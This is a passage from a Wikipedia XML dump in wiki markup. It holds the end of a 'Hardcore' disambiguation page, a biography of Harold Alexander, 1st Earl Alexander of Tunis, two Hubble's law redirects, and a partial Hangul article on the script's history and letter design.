*[[Hard-core predicate]], a mathematical term
*In nuclear physics, a potential (force) that forbids two nucleons to share the same space.

{{disambig}}

[[ca:Hardcore]]
[[de:Hardcore]]
[[es:Hardcore]]
[[fr:New York HardCore]]
[[id:Hardcore]]
[[nl:Hardcore]]
[[pt:Hardcore]]
[[fi:Hardcore]]</text>
    </revision>
  </page>
  <page>
    <title>Harold Alexander, 1st Earl Alexander of Tunis</title>
    <id>14446</id>
    <revision>
      <id>41906032</id>
      <timestamp>2006-03-02T14:50:15Z</timestamp>
      <contributor>
        <username>Dabbler</username>
        <id>139032</id>
      </contributor>
      <comment>/* Governor General of Canada */ reduce excessive Tunis</comment>
      <text xml:space="preserve">[[The Right Honourable]] '''Harold Rupert Leofric George Alexander, 1st Earl Alexander of Tunis,''' [[Order of the Garter|KG]], [[Order of the Bath|GCB]], [[Order of St Michael and St George|GCMG]], [[Order of the Star of India|CSI]], [[Royal Victorian Order|GCVO]], [[Distinguished Service Order|DSO]], [[Military Cross|MC]], [[Queen's Privy Council for Canada|PC]] ([[10 December]] [[1891]]&amp;ndash;[[16 June]] [[1969]]) was a [[United Kingdom|British]] military commander and [[Field Marshal]], notably during the [[World War II|Second World War]] as the commander of the [[15th Army Group]]. He later served as the last British [[Governor General of Canada]]. 

{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; style=&quot;margin: 0 0 1em 1em; float: right; border-collapse: collapse;&quot;
|+ style=&quot;margin-left: inherit;&quot; | '''Field Marshal The Earl Alexander of Tunis'''
|align=&quot;center&quot; colspan=&quot;2&quot;|&lt;!-- Image with unknown copyright status removed: [[Image:fieldmarshallalexander.jpg|200px]] --&gt;
|-
| '''Rank:'''
| 17th [[Governor General of Canada]]
|-
| '''Term of Office:'''
| [[April 12]], [[1946]] - [[February 28]], [[1952]]
|-
| '''Predecessor:'''
| [[The Earl of Athlone]]
|-
| '''Successor:'''
| [[Vincent Massey]]
|-
| '''Birth:'''
| [[December 10]], [[1891]]
|-
| '''Place of Birth:'''
| [[London, England]]
|-
| '''Death:'''
| [[June 16]], [[1969]]
|-
| '''Spouse:'''
| Lady Margaret Alexander
|-
| '''[[Profession]]:'''
|[[Officer (armed forces)|Officer]]
|-
| '''[[Religion]]:'''
|[[Anglican]]
|-
|}

==Military career==

The third son of the [[James Alexander, 4th Earl of Caledon|4th Earl of Caledon]] and the former [[Elizabeth Alexander, Countess of Caledon|Lady Elizabeth Graham-Toler]], a daughter of the [[Hector Graham-Toler, 3rd Earl of Norbury|3rd Earl of Norbury]], he was educated at [[Harrow School]] and the [[Royal Military Academy Sandhurst]]. He was commissioned into the [[Irish Guards]] in [[1911]]. During the [[World War I|First World War]] he served on the [[Western Front]] and was wounded twice. He received the [[Military Cross]] in [[1915]], the [[Distinguished Service Order]] in [[1916]], and the [[Legion of Honour]], and by [[1918]] was a [[Brigadier]].

Between the wars Alexander led the Baltic Landwehr in [[Latvia]] during the [[Russian Civil War]] and served in [[Turkey]] and [[Gibraltar]] before returning to England and the Staff College at [[Camberley]] and the Imperial Defence College. On [[14 October]] [[1931]], he married [[Margaret Alexander, Countess Alexander of Tunis|Lady Margaret Bingham]], second daughter of the [[George Bingham, 5th Earl of Lucan|5th Earl of Lucan]]. In [[1937]] he was promoted to [[Major-General]] and joined the [[British Expeditionary Force]] (BEF) in France in 1939.

He was instrumental in controlling the retreat of the BEF to [[Battle of Dunkirk|Dunkirk]], and was the last British soldier to leave. After that he was promoted and sent to [[Burma]] at the beginning of that disaster. In August [[1942]] [[Winston Churchill]] sent him, as Commander in Chief Middle East, and General [[Bernard Law Montgomery, 1st Viscount Montgomery of Alamein|Bernard Montgomery]] as Commander Eighth Army, to North Africa to replace General [[Claude Auchinleck|Claude Auchinleck]] who had held both positions. He presided over Montgomery's victory at the [[Second Battle of El Alamein]]. After the Anglo-American forces from ''[[Operation Torch|Torch]]'' and the [[British Eighth Army|Eighth Army]] met in [[Tunisia]] in January [[1943]], he became deputy to [[Dwight Eisenhower]] and Supreme Allied Commander of [[Allied Armies in Italy]]. He was Eisenhower's preference to command [[Battle of Normandy|D-Day]] but Churchill pressured to keep him in [[Italy]]. An American general, [[Mark Wayne Clark|Mark Clark]], despite being ordered not to by Alexander, captured [[Rome]] in [[1944]] thereby allowing the bulk of the German forces to escape northwards. He received the German surrender in Italy on [[29 April]] [[1945]].

Sir Harold Alexander was created '''Viscount Alexander of Tunis''', of Errigal in the County of Donegal, in [[1946]] for his leadership in North Africa and Italy. In December 1946 he was made a [[Knight of the Garter]] and was created '''Baron Rideau''', of Ottawa and of Castle Derg in the County of Tyrone, and '''Earl Alexander of Tunis''' in [[1952]].

==Governor General of Canada==

After the war Alexander was [[Governor General of Canada]] ([[1946]]-[[1952]]), and was a popular choice among the [[Canada|Canadian]] population. In addition to his military reputation, Alexander had a charismatic gift for making friends and communicating with people. This made him a popular and successful Governor General. He took his duties seriously &amp;ndash; indeed, when he was asked to kick the opening ball in the [[1946]] [[Grey Cup]] final, he spent a number of early mornings practising.

He saw his role as a vital link between Canadians and their head of State, and was eager to convey that message wherever he went. He travelled Canada extensively, eventually logging more than 184,000 miles during his five years as Governor General.

On his first major visit to western Canada, he was presented on [[13 July]] [[1946]] with a [[totem pole]] made by [[Kwakiutl]] carver Mungo Martin, to mark his installation as an Honorary Chief of the Kwakiutl, the first white man to be so honoured. The totem pole remains a popular attraction on the front lawn of [[Rideau Hall]]. During a later visit in [[1950]], he was made Chief Eagle Head of the [[Blackfeet|Blackfoot]] Indians.

Alexander's term &amp;mdash; the post-WWII years &amp;mdash; was an era of change for Canada. The post-war economy boomed in Canada, and a new prosperity began. In Letters Patent of [[1947]], [[George VI of the United Kingdom|King George VI]] gave the Governor General all of His Majesty's powers and authorities in respect of Canada. The document continues to be the source of the Governor General's powers today. In [[1949]], at the Commonwealth Prime Ministers Conference, the decision was made to use the term &quot;member of the Commonwealth&quot; instead of &quot;Dominion&quot;.

That same year, [[Newfoundland and Labrador|Newfoundland]] entered [[Canadian Confederation|Confederation]], and Alexander visited the new province that summer. But by [[1950]], Canada was once again embroiled in war, as Canadian Forces fought in [[Korea]] against Communist [[North Korea]] and the [[People's Republic of China]]. Alexander visited the troops heading overseas to give them his personal encouragement.

Alexander hosted various dignitaries, including [[Elizabeth II of the United Kingdom|Princess Elizabeth]] and the [[Prince Philip, Duke of Edinburgh|Duke of Edinburgh]], who came to Canada for a Royal Tour in October [[1951]], less than two years before the Princess would become Queen Elizabeth II, [[Queen of Canada]]. Lord and Lady Alexander hosted a square dancing party which the Princess and the Duke attended. Alexander also travelled abroad on official trips, visiting [[Harry S. Truman|President Truman]] in the [[United States]] in [[1947]], and paying a State visit to [[Brazil]] in June [[1948]].

Generally, though, Lord and Lady Alexander led an informal lifestyle. He was an avid sportsman, enjoying [[fishing]], [[golf]], [[ice hockey]] and [[rugby football|rugby]]. Fond of the outdoors, he enjoyed attending the harvest of [[maple syrup]] in [[Ontario]] and [[Quebec]], and personally supervised the tapping of the [[maple]] trees on the grounds of Rideau Hall. He was also a passionate painter, and in addition to setting up a studio for himself in the former dairy which still stands today at Rideau Hall, he organised art classes at the [[National Gallery of Canada]]. Lady Alexander became an expert weaver while in Canada, and had two looms in her study.

Alexander encouraged education in Canada. Many Canadian universities gave him honorary degrees, and he was also appointed an Honorary Doctor of Laws by [[Harvard University|Harvard]] and [[Princeton University|Princeton]] Universities in the United States.

==Later career==

In early [[1952]], after his term was extended twice, Lord Alexander left the office of Governor General, after [[Winston Churchill|Sir Winston Churchill]], the [[Prime Minister of the United Kingdom|British Prime Minister]], asked him to return to London to take the post of [[Minister of Defence]]. He was temporarily replaced by an administrator (Chief Justice [[Thibaudeau Rinfret]]) prior to the appointment of diplomat [[Vincent Massey]] as the new Governor General. 

Lord Alexander served as Minister of Defence until [[1954]], at which point he retired from politics.

Canada remained a favourite second home of the Alexanders, and they returned often to visit family and friends. 

Lord Alexander of Tunis died in 1969. His funeral was held on [[24 June]] [[1969]] at St Georges Chapel, [[Windsor Castle]], and his remains are buried in the churchyard of Ridge, near Tyttenhanger, his family's Hertfordshire home. Lady Alexander died in [[1977]].

{{start box}}
{{succession box | title=[[Governor General of Canada]] | before=[[Alexander Cambridge, 1st Earl of Athlone|The Earl of Athlone]] | after= Chief Justice The Right Honourable [[Thibaudeau Rinfret]] as administrator | years=1946&amp;ndash;1952}}
{{succession box | title=[[Minister of Defence]] | before=[[Winston Churchill]] | after=[[Harold Macmillan]] | years=1952&amp;ndash;1954}}
{{succession box | title=[[Lord Lieutenant of the County of London]] | before=[[Alan Brooke, 1st Viscount Alanbrooke|The Viscount Alanbrooke]] | after=Post abolished | years=1956&amp;ndash;1965}}
{{succession box | title=[[Lord Lieutenant of Greater London]] | before=New post | after=[[Gerald Templer|Sir Gerald Templer]] | years=1965&amp;ndash;1966}}
{{end box}}

{{start box}}{{succession box | title=[[Earl Alexander of Tunis]] | before=New Creation |  | years= | after=[[Shane Alexander, 2nd Earl Alexander of Tunis|Shane Alexander]]}}{{end box}}

==Reference==

''Some text adapted from [http://www.gg.ca http://www.gg.ca]''

{{CanGG}}

[[Category:1891 births|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:1969 deaths|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:British Field Marshals|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:British World War II people|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Earls in the Peerage of the United Kingdom|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Governors General of Canada|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Knights Grand Cross of St Michael and St George|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Knights Grand Cross of the Bath|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Knights of the Garter|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Legion of Honor recipients|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Members of the Order of Merit|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Members of the Privy Council|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Members of the Queen's Privy Council for Canada|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Old Harrovians|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Companions of the Star of India|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Knights Grand Cross of the Royal Victorian Order|Alexander of Tunis, Harold Alexander, 1st Earl]]
[[Category:Knights of Justice of St John|Alexander of Tunis, Harold Alexander, 1st Earl]]

[[cs:Harold Rupert Alexander]]
[[da:Harold Alexander]]
[[de:Harold Alexander]]
[[lv:Harolds Aleksanders]]
[[pl:Harold Alexander]]
[[sl:Harold Alexander]]
[[sv:Harold Alexander]]
[[uk:Александер Гаролд Руперт Леофрік Джордж I]]
[[zh:哈罗德·亚历山大]]</text>
    </revision>
  </page>
  <page>
    <title>Hubbles law</title>
    <id>14448</id>
    <revision>
      <id>15912003</id>
      <timestamp>2002-03-05T18:25:54Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Hubble's law]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hubble's law]]</text>
    </revision>
  </page>
  <page>
    <title>Hubbles constant</title>
    <id>14449</id>
    <revision>
      <id>15912004</id>
      <timestamp>2002-03-13T06:43:09Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>-&amp;gt; [[Hubble's law]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hubble's law]]
</text>
    </revision>
  </page>
  <page>
    <title>Hangul</title>
    <id>14451</id>
    <revision>
      <id>42134834</id>
      <timestamp>2006-03-04T01:24:31Z</timestamp>
      <contributor>
        <ip>64.75.212.11</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{korean name image| image=[[Image:Hangeul.png|center|290px|The word ''hangeul'' (Revised Romanisation) written in Hangul]]&lt;br&gt;&lt;font style=&quot;align:left&quot;&gt;The word ''hangeul'' (Revised Romanisation) written in Hangul.&lt;/font&gt; | hangul=한글 | hanja=(none) | rr=Han(-)geul | mr=Han'gŭl}}
'''Hangul''' is the native  [[alphabet]] used to write the [[Korean language]], as opposed to the [[hanja]] system borrowed from [[China]].  For other [[Romanization|romanized]] spellings of &quot;Hangul&quot;, please see [[#Names|Names]] below.

While hangul may appear [[logographic]] to the uninitiated, it is actually [[phonemic]], like most so-called &quot;[[phonetic]]&quot; writing systems.  Each Hangul syllabic block consists of at least two of the 24 alphabetic letters (''[[#Jamo|jamo]]''): 14 [[consonant]]s and 10 [[vowel]]s.  Historically, the alphabet had several more consonants and vowels. (''See [[#Obsolete jamo|Obsolete Jamo]]''.)  For a phonological description of the letters, ''see [[Korean language#Phonology|Phonology]]''.

==Names==
===Official names===
* The modern name ''Hangul'' (한글) is a term coined by [[Ju Si-gyeong]] in [[1912]] that simultaneously means “great script” in archaic Korean and “Korean script” in modern Korean. It cannot be written in [[Hanja]], though the first syllable, ''Han'' (한), if used in the sense of the word “[[Korea]]n”, may be written 韓. The syllable 글 is believed to have evolved from 契, but is never written like that, as it has been naturalized. 한글 is pronounced {{IPA|[hangɯl]}} ([[International Phonetic Alphabet|IPA]]), and is usually [[romanize]]d in either of the following ways:
** '''Hangeul''' or ''Han-geul'' in the [[Revised Romanization of Korean]], which the [[South Korea]]n government uses in all English publications and encourages for all purposes. Many recent publications have adopted this spelling. 
** '''Han'gŭl''' in [[McCune-Reischauer]]. When used as an English word, it is often rendered without the [[diacritic]]s: ''Hangul'', or sometimes without capitalization: ''hangul''. This is how it appears in many English dictionaries.
** '''Hankul''' in [[Yale Romanization]], another common spelling in English dictionaries.
* [[North Korea]]ns prefer to call it ''Chosŏn'gŭl'' (조선글), for reasons related to the different [[Names of Korea]].
* The original name was ''Hunmin Jeong-eum'' (훈민정음; 訓民正音; see [[#History|History]]). Due to objections against the names ''Hangeul'' and ''Chosŏn'gŭl'' on the side of some linguists of the Korean minority in [[Manchuria]], the short form '''Jeongeum''' may alternatively be used as a neutral name in international contexts.

===Other names===
* ''Urigeul'' (우리글) / ''Uri kŭl'' (우리 글), also ''Uri k'ŭl'' (우리 클) “our script” is used in both the North and South, but not by non-Koreans.

Until the early twentieth century, Hangul was often denigrated by those who preferred the traditional Hanja writing. They gave it names such as:
* ''Eonmun'' (언문 諺文 “vernacular script”). 
* ''Amkeul'' (암클 “women's script”). 암-(probably derived from 陰) is a prefix that signifies a noun is feminine.
* ''Ahae(t)geul'' (아햇글 or 아해글 “children's script”).
However, the use of Hanja in writing has become rare in the past several decades in South Korea, and has been banned in North Korea, so these names are considered archaic.

==History==
[[Image:Hunmin_jeong-eum.jpg|thumb|212px|A page from the ''Hunmin Jeong-eum''. The Hangul-only column, 나랏말ㅆ̖미, has pitch-accent diacritics to the left of the syllable blocks.]]
Hangul was promulgated by the fourth king of the [[Joseon Dynasty]], [[King Sejong the Great of Joseon|Sejong the Great]]. Some people suspect that such a complex project must have been developed by a team of researchers, but historical records show that his staff of scholars actually strongly denounced the King for not having consulted with them. Of the many inventions attributed to King Sejong, Hangul is the only one recorded to have been &quot;personally&quot; created by King Sejong. There are some indications that King Sejong may have been assisted by his family members, who worked in secret because of the opposition by the educated elite.

The system was completed in 1443 or January 1444, and published in 1446 in a document entitled ''[[Hunmin Jeongeum (document)|Hunmin Jeong-eum]],'' after which the alphabet was named. The publication date of ''Hunmin Jeong-eum'', [[October 9]], is [[Hangul Day]] in [[South Korea]] and a national holiday. Its [[North Korea]]n equivalent is on [[January 15]].

An old legend holds that King Sejong visualized the written characters after studying an intricate lattice, but this speculation was put to rest by the discovery in 1940 of the 1446 ''[[Hunmin Jeongeum Haerye|Hunmin Jeong-eum Haerye]]'' (Explanations and Examples of Hunmin Jeong-eum). This document details the rationale for the letter designs. (See [[#Jamo design|jamo design]].)

King Sejong explained that he created the new script because the Chinese characters used to write Korean speech were inaccurate and difficult to learn for the common people. (Hence the name ''Hunmin Jeong-eum,'' which means &quot;Correct Sounds for the Education of the People&quot; in [[Sino-Korean]]).  At that time, only male members of the aristocracy ([[Yangban]]) learned to read and write [[Hanja]]. Since written material was only available in Hanja, most Koreans were effectively illiterate.  Hangul faced heavy opposition by the literate elite, who believed Hanja to be the only legitimate writing system. The protest by [[Choe Manri]] and other [[Confucian]] scholars in 1444 is a typical example. 

Later the government became apathetic to Hangul. [[Yeonsangun of Joseon|Yeonsangun]], the 10th king, forbade the study or use of Hangul and banned Hangul documents in 1504, and [[Jungjong of Joseon|King Jungjong]] abolished the Ministry of Eonmun in 1506. Until this time Hangul had been used by women and the uneducated.

In late 19th century, Korean nationalism increased as Japan attempted to sever Korea from China's sphere of influence. Hangul began to be considered as a national symbol by some reformists. As a result of the [[Gabo Reform]] (갑오 개혁) by pro-Japanese politicians, Hangul was adopted in official documents for the first time in 1894. After Korea was annexed by Japan in 1910, Hangul was briefly taught in schools, but later banned as Japan enforced a [[cultural assimilation]] policy. Further standardization took place under Japanese occupation such as the publication of the [[:wikisource:ko:한글 마춤법 통일안|standardized system of Hangul]] on October 29 1933, changing the number of vowels to 24. In 1940 the system for expressing foreign orthographies in Hangul was also published.

After regaining independence from Japan in 1945, Hangul has been extensively used as the offical writing of Korea. Some elites still have preferred mixed use of Hanja (mostly for nouns) in Hangul-written sentences, but generally the mixed use of Hanja has been ever-decreasing. Today, it is hard to find instances of Hanja use within Hangul sentences in normal written publications or documents, though newspapers often use hanja to avoid ambiguity in headlines.

==''Jamo''==
{{see also|Hangul consonant and vowel tables}}
'''''Jamo''''' (자모; [[Hanja|字母]]) or ''nassori'' (낱소리) are the letters that make up the Hangul alphabet.  '''''Ja''''' means letter or character, and '''''mo''''' means mother, so the name signifies that the ''jamo'' are the building-blocks of the script.

There are 51 ''jamo'', of which 24 are equivalents to [[letter]]s of the [[Roman alphabet]].  The other 27 are clusters of two or sometimes three ''jamo''.  Of the 24 simple ''jamo'', fourteen are [[consonant]]s (''ja-eum'' 자음, 子音: literally &quot;child sounds&quot;) and ten are [[vowel]]s (''mo-eum'' 모음, 母音: literally &quot;mother sounds&quot;). Five of the simple consonants are doubled to form the five tense consonants (see below), while another eleven clusters are formed of two different consonants.  The ten vowel ''jamo'' can be combined to form eleven [[diphthong]]s.  Here is a summary:

* 14 simple [[consonant]]s: ㄱㄴㄷㄹㅁㅂㅅㅇㅈㅊㅋㅌㅍㅎ, plus obsolete ㅿㆁㆆㅱㅸㆄ
*  5 double consonants: ㄲㄸㅃㅆㅉ, plus obsolete ㅥㆀㆅㅹ
* 11 [[consonant cluster]]s: ㄳㄵㄶㄺㄻㄼㄽㄾㄿㅀㅄ, plus obsolete ㅦㅧㅨㅪㅬㅭㅮㅯㅰㅲㅳㅶㅷㅺㅻㅼㅽㅾㆂㆃ, and obsolete triple clusters ㅩㅫㅴㅵ

* 6 simple [[vowel]]s: ㅏㅓㅗㅜㅡㅣ, plus obsolete ㆍ
* 4 [[iotation|iotized]] simple vowels: ㅑㅕㅛㅠ
* 11 [[diphthong]]s: ㅐㅒㅔㅖㅘㅙㅚㅝㅞㅟㅢ, plus obsolete ㆎㆇㆈㆉㆊㆋㆌ

Four of the simple vowel ''jamo'' are derived, with a short stroke that signifies iotation (a preceding ''i'' sound): ㅑ ''ya'', ㅕ ''yeo'', ㅛ ''yo'', and ㅠ ''yu''. These four are counted as part of the 24 simple ''jamo'' because the iotating stroke taken out of context does not represent ''y''. In fact, there is no separate ''jamo'' for ''y''.

Of the simple consonants, ㅊ ''chieut'', ㅋ ''kieuk'', ㅌ ''tieut'', and ㅍ ''pieup'' are aspirated derivatives of ㅈ ''jieut'', ㄱ ''giyeok'', ㄷ ''digeut'', and ㅂ ''bieup'', respectively, formed by combining the parent consonant with an extra stroke representing [[Aspiration (phonetics)|aspiration]].

The doubled consonants consist of two identical consonants placed beside each other horizontally. They are: ㄲ ''ssang-giyeok'' (kk: ''ssang-'' 쌍 &quot;double&quot;), ㄸ ''ssang-digeut'' (tt), ㅃ ''ssang-bieup'' (pp), ㅆ ''ssang-siot'' (ss), and ㅉ ''ssang-jieut'' (jj). Double ''jamo'' do not represent [[geminate]] consonants, but instead are tense. 

The sounds represented by the single and double consonantal ''jamo'' cannot be pronounced alone in normal speech.

There are three formal categories of ''jamo'':

# Initial (초성, &lt;span lang=&quot;ko&quot;&gt;初聲&lt;/span&gt; ''choseong''): The [[syllable onset]] of [[consonant]](s) before the [[vowel]](s). These include all five doubled ''jamo''. The lack of an initial is indicated by the silent placeholder ''jamo'' ᄋ.
#* Position: Placed at the top, left, or upper-left corner of the syllabic block.
#* See: [[Hangul consonant and vowel tables#Initials]]
# Medial (중성, &lt;span lang=&quot;ko&quot;&gt;中聲&lt;/span&gt; ''jungseong''): The [[vowel]]s comprising the [[syllable nucleus]]. 
#* Position: The middle of the syllable block if there's a final, otherwise at the right or bottom. 
#: For a list of the medials, see [[#Vowel jamo design]]
# Final (종성, &lt;span lang=&quot;ko&quot;&gt;終聲&lt;/span&gt; ''jongseong''): The [[syllable coda]] of [[consonant]](s) after the [[vowel]](s). All basic ''jamo'' can occur as finals, and the silent initial ㅇ is pronounced ''ng'' in final position. However, the only doubled ''jamo'' that can occur finally are ᆻ (ss) and ᆩ (kk).
#* Position: Placed at the bottom, right or lower-right corner of the block. 
#* See: [[Hangul consonant and vowel tables#Finals]]

&lt;table cellpadding=5&gt;
&lt;tr&gt;&lt;td&gt;
{|
|-align=center
|bgcolor=#ffaaaa width=30 height=60|initial||bgcolor=#aaffaa width=30|medial
|}
&lt;/td&gt;&lt;td&gt;
{|
|-align=center
|bgcolor=#ffaaaa width=60 height=30|initial
|-align=center
|bgcolor=#aaffaa height=30|medial
|}
&lt;/td&gt;&lt;td&gt;
{|
|-align=center
|bgcolor=#ffaaaa width=30 height=30|beginning||bgcolor=#aaffaa width=30 rowspan=2|2nd med.
|-align=center
|bgcolor=#aaffaa height=30|1st med.
|}
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt; 
In the case of a final sound, it is placed on the bottom as follows.
&lt;table cellpadding=5&gt;
&lt;tr&gt;&lt;td&gt;
{|
|-align=center
|bgcolor=#ffaaaa width=30 height=40|initial||bgcolor=#aaffaa width=30|medial
|-align=center
|bgcolor=#aaaaff height=20 colspan=2|final
|}
&lt;/td&gt;&lt;td&gt;
{|
|-align=center
|bgcolor=#ffaaaa width=60 height=20|initial
|-align=center
|bgcolor=#aaffaa height=20|medial
|-align=center
|bgcolor=#aaaaff height=20|final
|}
&lt;/td&gt;&lt;td&gt;
{|
|-align=center
|bgcolor=#ffaaaa width=60 height=20|initial||bgcolor=#aaffaa width=60 rowspan=2|2nd med.
|-align=center
|bgcolor=#aaffaa height=20|1st med.
|-align=center
|bgcolor=#aaaaff height=20 colspan=2|final
|}
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;


Each jamo in its position in a syllabic block may be referred to as jaso.

===''Jamo'' design===
Hangul is ''[[List of writing systems#Featural linear alphabets|featural]]''. Scripts may indicate [[morpheme]]s (so called [[logogram]]s like ''[[hanja]]''), [[syllable]]s (like ''[[kana]]''), or segments (an [[alphabet]] of consonants and/or vowels, like the one you're reading here). Hangul goes further than this, in indicating individual distinctive [[phonetics|phonetic]] features such as [[place of articulation]] ([[labial consonant|labial]], [[coronal consonant|coronal]], [[velar consonant|velar]], [[glottal consonant|glottal]]) and [[manner of articulation]] ([[plosive]], [[nasal consonant|nasal]], [[sibilant consonant|sibilant]], [[aspiration (phonetics)|aspirated]]) for consonant ''jamo'', and iotation (a preceding ''i-'' sound), [[Vowel harmony|harmonic class]], and [[umlaut]] for vowel ''jamo''. 

For instance, the ''jamo'' ㅌ ''t'' is composed of three strokes, each one meaningful: the top stroke indicates it is a plosive, like ㆆ ’, ㄱ ''g'', ㄷ ''d'', ㅂ ''b'', ㅈ ''j'', which have the same stroke (the last is an [[Affricate consonant|affricate]], a plosive-fricative sequence); the middle stroke indicates that it is aspirated, like ㅎ ''h'', ㅋ ''k'', ㅍ ''p'', ㅊ ''ch'', which also have this stroke; and the curved bottom stroke indicates that it's coronal, like ㄴ ''n'', ㄷ ''d'', ㄹ ''l''. Two consonants, ᇰ and ᇢ, have dual pronunciations, and may be composed of two elements to represent these ({{IPA|[ŋ]}}/silent and {{IPA|[m]}}/{{IPA|[w]}}, respectively).

With vowel ''jamo'', what was originally a dot (now a short connected line) indicates that it ''may'' be iotated; this dot is then doubled to indicate actual iotation (''i-''). The position of the dot indicates which harmonic class the vowel belongs to ([[yin and yang|&quot;light&quot;]] or [[yin and yang|&quot;dark&quot;]]). In the modern ''jamo'', an additional vertical stroke indicates [[umlaut]], deriving ㅐ {{IPA|[ε]}}, ㅔ {{IPA|[e]}}, ㅚ {{IPA|[ø]}}, ㅟ {{IPA|[y]}} from ㅏ {{IPA|[a]}}, ㅓ {{IPA|[ʌ]}}, ㅗ {{IPA|[o]}}, ㅜ {{IPA|[u]}}. However, this is not part of the intentional design of the script, but rather a natural development from what were originally [[diphthong]]s ending in the vowel ㅣ. (e.g. ㅐ ''{{IPA|*[εj]}}'', ㅚ ''{{IPA|*[oj]}}'', etc.) Indeed, in many [[Dialects of Korean|Korean dialects]], including the standard [[Seoul Dialect|dialect of Seoul]], some of these may still be diphthongs. 

Although the design of the script may be featural, for all practical purposes it behaves as an alphabet. The ''jamo'' ㅌ isn't read as three letters ''coronal plosive aspirated'', for instance, but as a single consonant ''t''. Likewise, the former diphthong ㅔ is read as an independent vowel ''e''. 

Beside the ''jamo'', Hangul originally employed [[diacritic mark]]s to indicate [[pitch accent]]. A syllable with a high pitch was marked with a dot (·) to the left of it (when writing vertically); a syllable with a rising pitch was marked with a double dot, like a colon (:). These are no longer used. However, although [[vowel length]] is phonemic in Korean, it was never indicated in Hangul, except that syllables with rising pitch necessarily have long vowels. 

Although some aspects of Hangul are shared with [[Mongolian alphabet|Phagspa]] (and thus [[Brahmic family|Indic]] [[phonology]]), such as the relationships among the [[wiktionary:homorganic|homorganic]] jamo and the [[alphabet|alphabetic principle]] itself, other aspects are shared with [[Chinese writing]], such as syllablic blocks and the basic consonants. [[tenuis consonant|Tenuis]] (non-voiced, non-aspirated) plosives, ''g'' for ㄱ {{IPA|[k]}}, ''d'' for ㄷ {{IPA|[t]}}, and ''b'' for ㅂ {{IPA|[p]}} were considered basic in Chinese, but not Indic languages; as well as the sibilant ''s'' for ㅈ {{IPA|[ts]}} and the liquid ''l'' for ㄹ {{IPA|[l]}}. (Korean ㅈ was pronounced {{IPA|[ts]}} in the 15&lt;sup&gt;th&lt;/sup&gt; century.)

The ''Hunmin Jeong-eum Haerye'' explains the designs and derivations of the consonants according to [[articulatory phonetics]]; and the vowels according to the principles of [[yin and yang|''yin'' and ''yang'']] and [[vowel harmony]].

====Consonant ''jamo'' design====
The letters for the consonants fall into five [[wiktionary:homorganic|homorganic]] groups, each with a basic shape, and one or more letters derived from this shape by means of additional strokes. The basic shapes model the articulation the [[tongue]], [[palate]], [[teeth]], and [[throat]] take when making these sounds. 

The Korean names for the groups are the traditional [[Sino-Korean]] phonetic terminology.

*[[Velar consonant]]s (아음, 牙音 ''a-eum'': &quot;molar sounds&quot;):
** ㄱ ''g'' {{IPA|[k]}}, ㅋ ''k'' {{IPA|[kʰ]}}
** Basic shape: ㄱ is a side view of the back of the tongue raised toward the velum (soft palate). (For illustration, access the external link below.) The ㅋ is derived from ㄱ, with an extra stroke for the burst of aspiration. 
*[[Coronal consonant]]s (설음, 舌音 ''seol-eum'': &quot;lingual sounds&quot;): 
** ㄴ ''n'' {{IPA|[n]}}, ㄷ ''d'' {{IPA|[t]}}, ㅌ ''t'' {{IPA|[tʰ]}}, ㄹ ''r''/''l''
** Basic shape: ㄴ is a side view of the tip of the tongue raised toward the [[alveolar ridge]] (gum ridge). The letters derived from ㄴ are pronounced with the same basic articulation. The line topping ㄷ represents firm contact with the roof of the mouth. The middle stroke of ㅌ represents the burst of aspiration. The top of ㄹ represents a [[flap consonant|flap]] of the tongue. 
*[[Bilabial consonant]]s (순음, 唇音 ''sun-eum'': &quot;labial sounds&quot;): 
** ㅁ ''m'' {{IPA|[m]}}, ㅂ ''b'' {{IPA|[p]}}, ㅍ ''p'' {{IPA|[pʰ]}}
** Basic shape: ㅁ represents the outline of the lips in contact with each other. The top of ㅂ represents the release burst of the ''b''. The top stroke of ㅍ is for the burst of aspiration.
*[[Sibilant]]s (치음, 齒音 ''chieum'': &quot;dental sounds&quot;):
** ㅅ s {{IPA|[s̬]}}, ㅈ j {{IPA|[c]}}, ㅊ ch {{IPA|[cʰ]}}
** Basic shape: ㅅ was originally shaped like a wedge ʌ, without the [[serif]] on top. It represents a side view of the teeth. The line topping ㅈ represents firm contact with the roof of the mouth. The stroke topping ㅊ represents an additional burst of aspiration. 
*[[Glottal consonant]]s (후음, 喉音 ''hueum'': &quot;throat sounds&quot;): 
** ㅇ ''ng'' {{IPA|[ʔ, ŋ]}}, ㅎ ''h'' {{IPA|[h]}}
** Basic shape: ㅇ is an outline of the throat. Originally ㅇ was two letters, a simple circle for silence (null consonant), and a circle topped by a verticle line, ㆁ, for the nasal ''ng''. A now obsolete letter, ㆆ, represented a glottal stop, which is pronounced in the throat and had closure represented by the top line, like ㄱㄷㅈ. Derived from ㆆ is ㅎ, in which the extra stroke represents a burst of aspiration.

